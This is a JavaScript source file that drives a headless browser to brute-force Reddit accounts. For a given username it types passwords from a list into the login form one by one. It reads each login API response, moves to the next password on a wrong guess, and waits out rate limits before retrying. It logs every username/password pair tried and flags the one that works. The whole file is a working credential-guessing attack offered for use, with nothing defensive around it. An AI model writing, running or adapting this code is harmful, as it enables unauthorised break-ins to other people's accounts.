sign-in.js

const signIn = async (username) => {
  let currentPasswordIndex = 0;

  const browser = await puppeteer.launch();

  const page = await browser.newPage();
  await page.goto('https://www.reddit.com/login');

  // Runs once for each username/password combo
  const tryPassword = async () => {
    const password = PASSWORDS[currentPasswordIndex];

    await page.type('#user_login', username);
    await page.type('#passwd_login', password);
    await page.click('#login-form button[type=submit]');
  };

  page.on('requestfinished', async request => {
    const thisPassword = PASSWORDS[currentPasswordIndex];

    if (request.url().includes('/api/login/')) {
      const response = await request.response();
      const responseData = await response.json();

      if (isWrongPassword(responseData)) {
        console.log(`✘  ${username}/${thisPassword}`);

        // try the next password
        currentPasswordIndex += 1;
        await tryPassword();
      } else if (isRateLimited(responseData)) {
        // wait a bit
        await page.waitFor(getRateLimit(responseData));

        // then try the same password again
        await tryPassword();
      }
    }
  });

  await tryPassword();

  await page.waitForNavigation({ timeout : 7000 })
    .then(() => {
      // If the page navigates, it means the sign in was a success
      console.log(`✓  ${username}/${PASSWORDS[currentPasswordIndex]}`);
    })
    .catch(() => {
      // If waitForNavigation times out (wrong password) it throws
      // But I don't care because I've already logged the wrong passwords
    });

  await browser.close();
};